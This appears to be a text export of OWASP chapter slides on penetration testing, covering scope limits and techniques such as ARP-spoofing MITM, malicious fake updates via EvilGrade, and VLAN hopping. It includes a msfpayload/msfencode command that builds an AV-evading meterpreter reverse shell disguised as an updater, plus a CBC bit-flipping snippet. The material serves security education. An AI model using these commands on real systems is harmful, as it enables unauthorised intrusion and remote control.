What is OWASP?

The Open Web Application Security Project (OWASP) is a 501(c)(3) worldwide not-for-profit charitable organization focused on improving the security of software.

Our mission is to make software security visible, so that individuals and organizations worldwide can make informed decisions about true software security risks.
What is the OWASP Omaha Vision?

- Establish a tangible platform in Omaha for IT professionals, developers, and security professionals to develop their knowledge of application security concepts (OWASP Top Ten, Web app security, Mobile app security, etc.)
- Champion the OWASP mission and objectives within local business, government, and academic settings
- Actively contribute to OWASP open source projects and research
Contact Information:

- https://www.owasp.org/index.php/Omaha
- https://twitter.com/owaspomaha
- https://www.owasp.org
Innovative Penetration Testing
What to do when you have a tough shell to crack.
Agenda

• The goal of pen testing
• Struggles of penetration testers.
• Non-technical solutions to these struggles.
• Overview of technical solutions to these struggles.
• Innovative Solution
• Q & A
Goal of Pen Testing

Common Perceived Goals:

- To meet regulatory compliance
- To check a box of some kind
- To gain exec support to purchase equipment
Goal of Pen Testing

Actual Goal
To identify risks through exploitation of vulnerabilities and rate business impact through the discovery of accessible data and systems upon exploitation and further pivoting through the target network.
Struggles of Penetration Testers

The Problem:
Most networks today a penetration tester should be able to gain access to, but yet they don’t, why?
Struggles of Penetration Testers

Why it is believed pen testers can’t get in:

• Firewalls
• AV
• IPS
• Software is patched
• And many others
Struggles of Penetration Testers

Why pen testers can’t get in:

• Scope of the engagement
  – What we can target
  – When we can target
  – How long we can target
  – Who we can target
  – Available resources to the pen tester
Struggles of Penetration Testers

Example scope of a hard to crack shell

- 9pm to 6am 9/6/2012-9/7/2012
- 300 Public IP’s
- Only Network pen testing
- This network is heavily hardened externally
Struggles of Penetration
Testers

Example scope problems

- Narrow time frame
- Little to no time for research
- Large number of hosts
- Only targeting the external hosts
- Only targeting network vulnerabilities
Struggles of Penetration Testers

Common Scope Limitations

• No web app pen testing
• No social engineering
• No MITM attacks
• No brute forcing
• No offline password cracking
• Forced to silo attack vectors
Non-technical Solutions

Obtaining executive buy-in to expand the scope of the engagement

- Add other attack vectors
- Allow the attack vectors to be combined (no silos)
- Justify to your manager or client the value of these added scopes and what risk they are accepting by not having these areas tested
ARP Spoofing using Cain to MITM RDP and social engineering staff to log into servers capturing credentials
Technical Solutions

ARP Spoofing using Cain to MITM authentication and perform NTLM downgrade attack to crack passwords faster.
Technical Solutions

ARP Spoofing using ettercap to MITM software updates to pose as an update server to deliver malicious updates from EvilGrade.

```
[evilgrade(config notepadplus]
[evilgrade(notepadplus)> show options

Display options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Default</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>enable</td>
<td></td>
<td></td>
</tr>
<tr>
<td>agent</td>
<td>./agent/agent.exe</td>
<td>Agent to inject</td>
</tr>
</tbody>
</table>

[evilgrade(config notepadplus]
[evilgrade(notepadplus)> start
[evilgrade(config notepadplus]
```
Technical Solutions

Wireless MITM using a PineApple and pose as any web server and sniff data and or launch exploits.
Technical Solutions

Find company kiosks, break out of the restricted desktop, download meterpreter DLL and run it through DLL injection.
Technical Solutions

Bypassing AV by either using msfencode and backdooring exe’s or using good old fashioned code caves.

```bash
root@bt:/var/www# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 R | msfencode -e x86/shikata Ga_nai -c 3 -t exe -x /var/www/services.exe - /var/www/windowsupdater.exe
[*] x86/shikata Ga_nai succeeded with size 350 (iteration=1)
[*] x86/shikata Ga_nai succeeded with size 363 (iteration=2)
[*] x86/shikata Ga_nai succeeded with size 381 (iteration=3)
```
Technical Solutions

Jumping onto trusted VLAN’s abusing misconfigured DTP on switches or VoIP phones using Yersinia.

Usage: yersinia [-W|Id] [-l logfile] [-c conffile] protocol [protocol_options]
-v Program version.
-h This help screen.
-l Interactive mode (ncurses).
-d Debug.
-l logfile Select logfile.
-c conffile Select config file.
protocol Can be one of the following: cdp, dhcp, 802.1q, dtp, arp, udp, vtp, isl.

Try 'yersinia protocol -h' to see protocol_options help

Please, see the man page for a full list of options and many examples.
Send your bugs & suggestions to the Yersinia developers <yersinia@wasshore.org>
Technical Solutions

Abusing poorly implemented crypto to read sensitive information and gain access to systems. Such as CBC bit flipping.

```
web4_auth=1vf2EJ15hKzkIxqB27w0AA==|5X5A0e3r48gXhUXZHEKBa5dpC+XfdVv4oamIriy15yM=

>>> iv, cipher = get_cookie('012345678901234567890123#role=admin')
>>> s = cipher[:16] + chr(ord(cipher[16]) ^ 0x10) + cipher[17:]
>>> username, role = get_message(iv, s)
'Welcome back, 0123456L\xaa\x17m\xe9\x91\xdca\xe2\'#z)\xd8\x8\x18! Your role is: admin. You need admin role. Congratulations! Here is your flag: the_magic_words_are_squeamish_ossifrage_A-A!!!!!'
```
Innovative Solution

Different approach to scope expansion

• Give the pen tester standard user access right away by potentially running a pen tester controlled meterpreter shell on a workstation.

If it is understood by the organization that given enough time and no scope constraints a pen tester will likely get in, this is a great approach to save time, money and learn of what they can gain access to.
Ultimately it comes down to meeting our manager’s and or our clients goal’s, and hopefully give them understanding into the risks present in their environments to move them to a more secure state.
Q & A